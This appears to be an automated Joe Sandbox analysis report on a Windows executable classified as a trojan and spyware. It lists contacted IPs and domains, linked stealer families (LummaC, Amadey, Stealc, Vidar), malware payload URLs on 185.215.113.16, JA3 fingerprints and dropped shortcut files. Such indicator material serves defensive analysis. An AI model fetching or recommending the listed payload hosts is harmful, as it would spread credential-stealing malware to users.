142.250.181.68	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.10

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1561764
Start date and time:	2024-11-24 08:42:42 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@24/70@9/6
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, audiodg.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 93.184.221.240, 172.217.19.227, 23.218.210.69, 64.233.165.84, 172.217.19.238, 2.20.41.214, 34.104.35.123, 104.208.16.92, 172.217.17.74, 142.250.181.10, 172.217.17.42, 142.250.181.138, 142.250.181.74, 142.250.181.106, 172.217.19.202, 172.217.19.170, 172.217.19.234, 2.19.198.56, 23.32.238.130, 20.50.73.4, 13.74.129.1, 13.107.21.237, 204.79.197.237, 172.217.17.35
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, c-msn-com-nsatc.trafficmanager.net, clientservices.googleapis.com, browser.events.data.trafficmanager.net, learn.microsoft.com, e11290.dspg.akamaiedge.net, mdec.nelreports.net.akamaized.net, onedscolprdcus23.centralus.cloudapp.azure.com, go.microsoft.com, clients2.google.com, star-azurefd-prod.trafficmanager.net, a1883.dscd.akamai.net, learn.microsoft.com.edgekey.net, update.googleapis.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, c-bing-com.dual-a-0034.a-msedge.net, ctldl.windowsupdate.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, browser.events.data.microsoft.com, edgedl.me.gvt1.com, e13636.dscb.akamaiedge.net, c.bing.com, learn-public.trafficmanager.net, go.microsoft.com.edgekey.net, onedscolprdneu13.northeurope.cloudapp.azure.com, dual-a-0034.a-msedge.net, clients.l.google.com, c1.micros
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:43:42	API Interceptor	70x Sleep call for process: file.exe modified

LLM Input / Output

Input	Output
URL: https://microsoft.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://microsoft.com
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "Yes", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "Register now", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://learn.microsoft.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://learn.microsoft.com
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	```json{ "legit_domain": "microsoft.com", "classification": "wellknown", "reasons": [ "The URL 'learn.microsoft.com' is a subdomain of 'microsoft.com', which is the legitimate domain for Microsoft.", "Microsoft is a well-known brand with a strong online presence.", "The URL does not contain any suspicious elements such as misspellings, extra characters, or unusual domain extensions.", "The subdomain 'learn' is commonly used by Microsoft for educational and documentation purposes." ], "riskscore": 1}
URL: learn.microsoft.com Brands: Microsoft Input Fields: u, n, k, n, o, w, n

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.67.162.84	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, JasonRAT, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	2fQ8fpTWAP.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
13.107.246.63	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	CZxDiTktSY.exe	Get hash	malicious	XWorm	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
185.215.113.16	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, JasonRAT, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/luma/random.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0035.t-0009.t-msedge.net	7jBzTH9FXQ.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	Db5aU9VNyz.dll	Get hash	malicious	Strela Stealer	Browse	13.107.246.63
	fACYdCvub8.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	Payment Transfer Request Form.bat.exe	Get hash	malicious	Remcos	Browse	13.107.246.63
	Marine Energy Sdn Bhd Request for Quotation.exe	Get hash	malicious	FormBook	Browse	13.107.246.63
	purchase Order.exe	Get hash	malicious	FormBook	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	13.107.246.63
	4yOuoT4GFy.exe	Get hash	malicious	AsyncRAT	Browse	13.107.246.63
property-imper.sbs	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	172.67.162.84
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, JasonRAT, LummaC Stealer, Stealc, Vidar	Browse	172.67.162.84
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	file.exe	Get hash	malicious	Unknown	Browse	104.21.33.116
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	104.21.33.116
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	powerpc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	13.97.201.230
	mipsel.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	21.117.214.202
	mips.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	20.130.139.142
	arm5.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	21.171.224.156
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	arm.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	21.234.101.137
	x86_64.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	22.34.51.50
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	21.63.240.220
	sh4.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	22.48.158.87
CLOUDFLARENETUS	7jBzTH9FXQ.exe	Get hash	malicious	Unknown	Browse	104.18.166.46
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	172.67.162.84
	santi.exe	Get hash	malicious	FormBook	Browse	104.21.88.139
	ZjH6H6xqo7.exe	Get hash	malicious	LummaC	Browse	104.21.47.136
	PAYROLL LIST.exe	Get hash	malicious	FormBook	Browse	104.21.40.167
	file.exe	Get hash	malicious	FormBook	Browse	172.67.186.192
	CV Lic H&S Olivetti Renzo.exe	Get hash	malicious	FormBook	Browse	172.67.168.228
	CargoInvoice_Outstanding_56789_2024-11-21.vbs	Get hash	malicious	Remcos, GuLoader	Browse	172.67.191.199
	ZEcVl5jzXD.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	VSP469620.exe	Get hash	malicious	FormBook	Browse	104.21.44.16
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, JasonRAT, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	file.exe	Get hash	malicious	LummaC Stealer	Browse	173.222.162.55
	file.exe	Get hash	malicious	LummaC Stealer	Browse	173.222.162.55
	file.exe	Get hash	malicious	LummaC Stealer	Browse	173.222.162.55
	file.exe	Get hash	malicious	LummaC Stealer	Browse	173.222.162.55
	https://clearview-ps.inwise.net/Page_11-21-2024_1	Get hash	malicious	HTMLPhisher	Browse	173.222.162.55
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	173.222.162.55
	file.exe	Get hash	malicious	LummaC Stealer	Browse	173.222.162.55
	file.exe	Get hash	malicious	LummaC	Browse	173.222.162.55
	file.exe	Get hash	malicious	LummaC	Browse	173.222.162.55
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	173.222.162.55
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, JasonRAT, LummaC Stealer, Stealc, Vidar	Browse	4.175.87.197 13.107.246.63 173.222.162.55 23.218.208.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.175.87.197 13.107.246.63 173.222.162.55 23.218.208.109
	wX7zgpJHJS.pdf	Get hash	malicious	Unknown	Browse	4.175.87.197 13.107.246.63 173.222.162.55 23.218.208.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.175.87.197 13.107.246.63 173.222.162.55 23.218.208.109
	file.exe	Get hash	malicious	Amadey	Browse	4.175.87.197 13.107.246.63 173.222.162.55 23.218.208.109
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	4.175.87.197 13.107.246.63 173.222.162.55 23.218.208.109
	4yOuoT4GFy.exe	Get hash	malicious	AsyncRAT	Browse	4.175.87.197 13.107.246.63 173.222.162.55 23.218.208.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.175.87.197 13.107.246.63 173.222.162.55 23.218.208.109
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	4.175.87.197 13.107.246.63 173.222.162.55 23.218.208.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.175.87.197 13.107.246.63 173.222.162.55 23.218.208.109
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	172.67.162.84
	ZjH6H6xqo7.exe	Get hash	malicious	LummaC	Browse	172.67.162.84
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	LummaC	Browse	172.67.162.84
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, JasonRAT, LummaC Stealer, Stealc, Vidar	Browse	172.67.162.84
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	LummaC	Browse	172.67.162.84
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	Unknown	Browse	172.67.162.84
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sun Nov 24 06:44:18 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.985288322843282
Encrypted:	false
SSDEEP:	48:8ezbdLTkEHmidAKZdA1uehwiZUklqehwy+3:8e1YWLy
MD5:	DD5FB1D46C71D5E03B7FCB36E7098AF9
SHA1:	2C95A8184E81F62D9AA5529DF352D32187C1BBB1
SHA-256:	67EEEFA23A4E4D90FCF93F531B0D5F6B9DE7ECED35478AEB14564710A2A1E75E
SHA-512:	9B77A60561C5F2C9374A48BF184699A85502FB34BAD7907454984A974D41E375007BF6A754AA39FA1BCB264CDC05CD45898BB2C75CC2DADE8DE6F947EA9646C2
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....D..D>......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW$O..PROGRA~1..t......O.IxY.=....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VxY.=....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.L..Chrome..>......CW.VxY.=....M......................k..C.h.r.o.m.e.....`.1.....EW.L..APPLIC~1..H......CW.VxY.=...........................k..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VxY.=....N.......................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............y.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sun Nov 24 06:44:18 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	4.000504062700007
Encrypted:	false
SSDEEP:	48:8yzbdLTkEHmidAKZdA1Heh/iZUkAQkqeh7y+2:8y1Yg9QSy
MD5:	234CA2600F385800753A0F8921B5C121
SHA1:	B863C0C2CC4A51819676DA3D3136AE936B95238B
SHA-256:	3A9324D7BFC38D7E2C170A565525C5EB52F42D0C0D3D8D4A48FD57968436769B
SHA-512:	590E573D783E9D7421413BF3F6B5A46DDEFF5E377F3164F9FB77F9E893FC94608220B60FCB866E8CD01BDE058BBF83F6AD6E1E5D887ED6A655BEC3489A3BEFBF
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.......D>......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW$O..PROGRA~1..t......O.IxY.=....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VxY.=....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.L..Chrome..>......CW.VxY.=....M......................k..C.h.r.o.m.e.....`.1.....EW.L..APPLIC~1..H......CW.VxY.=...........................k..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VxY.=....N.......................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............y.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 5 08:59:33 2023, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2689
Entropy (8bit):	4.010192679168529
Encrypted:	false
SSDEEP:	48:8FzbdLTkbHmidAKZdA149eh7sFiZUkmgqeh7sly+BX:8F1YJnXy
MD5:	B055960B661A77F4CD15CF2C654EFCF3
SHA1:	A39E41CCF17D79D68B55C71C9C22C1711E26BC7D
SHA-256:	F8D9BCC8DD87730D5251D5F1F1184ED76DA41B6EABB55945926F62FDDEECE8A1
SHA-512:	AD7E808E8011E96DAAC1903F9CC7FA12CA20C8912790822EB361389EDC8D92DD934CF39FC5462423AE9C5B06F8953E4ADD138321B891B658A2B89479C4873A7C
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....K..r.......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW$O..PROGRA~1..t......O.IxY.=....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VxY.=....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.L..Chrome..>......CW.VxY.=....M......................k..C.h.r.o.m.e.....`.1.....EW.L..APPLIC~1..H......CW.VxY.=...........................k..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VEW.L....N.......................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............y.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sun Nov 24 06:44:18 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9974035220157083
Encrypted:	false
SSDEEP:	48:88zbdLTkEHmidAKZdA14ehDiZUkwqehPy+R:881Y7dy
MD5:	49F1A5530C58E285A27C670526C8F603
SHA1:	B99C439988A05139B588BA25B91EFB2B3788BAF3
SHA-256:	3D12C5448A0FAA46312B3CC4689496895DEEFE546C4BB10999C95239607EB7D6
SHA-512:	38F1CBD2B78075578A785454F5546573A26DFBE9FDA58F6BF281578767BC74E8F6F8038841AA7239188A26F8414D878C4B8466C1C2AD76CE22D9347B13E8AE5C
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....e/..D>......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW$O..PROGRA~1..t......O.IxY.=....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VxY.=....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.L..Chrome..>......CW.VxY.=....M......................k..C.h.r.o.m.e.....`.1.....EW.L..APPLIC~1..H......CW.VxY.=...........................k..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VxY.=....N.......................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............y.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sun Nov 24 06:44:18 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9907249741449604
Encrypted:	false
SSDEEP:	48:85zbdLTkEHmidAKZdA1mehBiZUk1W1qehRy+C:851YL9xy
MD5:	67DE6E4AF1215553C7F09D9EEB8C3447
SHA1:	54C665B975EB8EF58984DF45EA9EF6BBBDD7C36D
SHA-256:	A31153D9BC6C3C970C2FE586BC4D9D45AA1EEAF6AF646819D7AFB1040AA2BFE3
SHA-512:	3FA5D6FAB263A31034F02232DDB563AE995193DFDD2ECA03069762AEB7C6FB125D877F331476DD74D1EBB3A881FAB4C5AB3F59C76DACDBF4F1F50987225133B7
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,........D>......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW$O..PROGRA~1..t......O.IxY.=....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VxY.=....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.L..Chrome..>......CW.VxY.=....M......................k..C.h.r.o.m.e.....`.1.....EW.L..APPLIC~1..H......CW.VxY.=...........................k..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VxY.=....N.......................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............y.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sun Nov 24 06:44:18 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9978571349542835
Encrypted:	false
SSDEEP:	48:8pzbdLTkEHmidAKZdA1duT1ehOuTbbiZUk5OjqehOuTbXy+yT+:8p1YqTyTbxWOvTbXy7T
MD5:	3029D37ECDA06A19973CBE43B271BF44
SHA1:	57685B8ABD4809FCD597C4343063C53087FE3705
SHA-256:	2CD63EBA34E7FE717D1D8F31A9A8A3E45BAB41F096FA6C15F563304B14E23431
SHA-512:	B2B166E378869590EA9F32B6CC46830E913F0A9F8F2E7F7AB076D328FCA769C62E0E55EB3D1C5339CA9007B49549CB568CC97E0BF477B9D2A635D77092A18B62
Malicious:	false
